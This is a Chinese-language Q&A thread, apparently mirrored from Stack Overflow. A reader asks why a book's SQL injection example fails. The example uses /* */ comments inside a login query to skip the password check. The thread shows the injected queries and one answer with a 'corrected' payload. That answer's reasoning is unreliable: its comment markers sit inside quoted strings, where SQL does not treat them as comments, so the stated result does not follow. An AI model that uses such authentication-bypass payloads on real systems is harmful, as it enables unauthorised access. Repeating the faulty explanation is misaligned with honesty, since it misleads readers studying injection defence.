为什么在SQL中使用注释不返回任何行?

时间:2018-10-09 10:56:13

标签: php sql

我正在阅读有关 sql注入的书,并提供了有关“如何使用注释绕过身份验证”的示例:

sql代码:

select * from users where username = '' AND password = '' ;

和其他注释:#或-已过滤,因此我们只能使用/ ** /:

使用注释后的sql代码:

select * from users where username = 'admin' /* ' AND password = '*/'' ;

并将返回

select * from users where username = 'admin''' 

然后登录,但这就是写的书,但是当我在登录中对其进行测试时,它不起作用。

-PS:我在phpmyadmin和sql-server管理中对其进行了测试,并且不起作用, 那本书错了吗?还是我做错了?如果可以的话,使用/ ** /的正确方法是什么?

1 个答案:

答案 0 :(得分:1)

您添加了额外的'

select * from users where username = '' AND password = ''

可以更改为:

select * from users where username = 'admin /*' AND password = '*/'

这将返回:

select * from users where username = 'admin'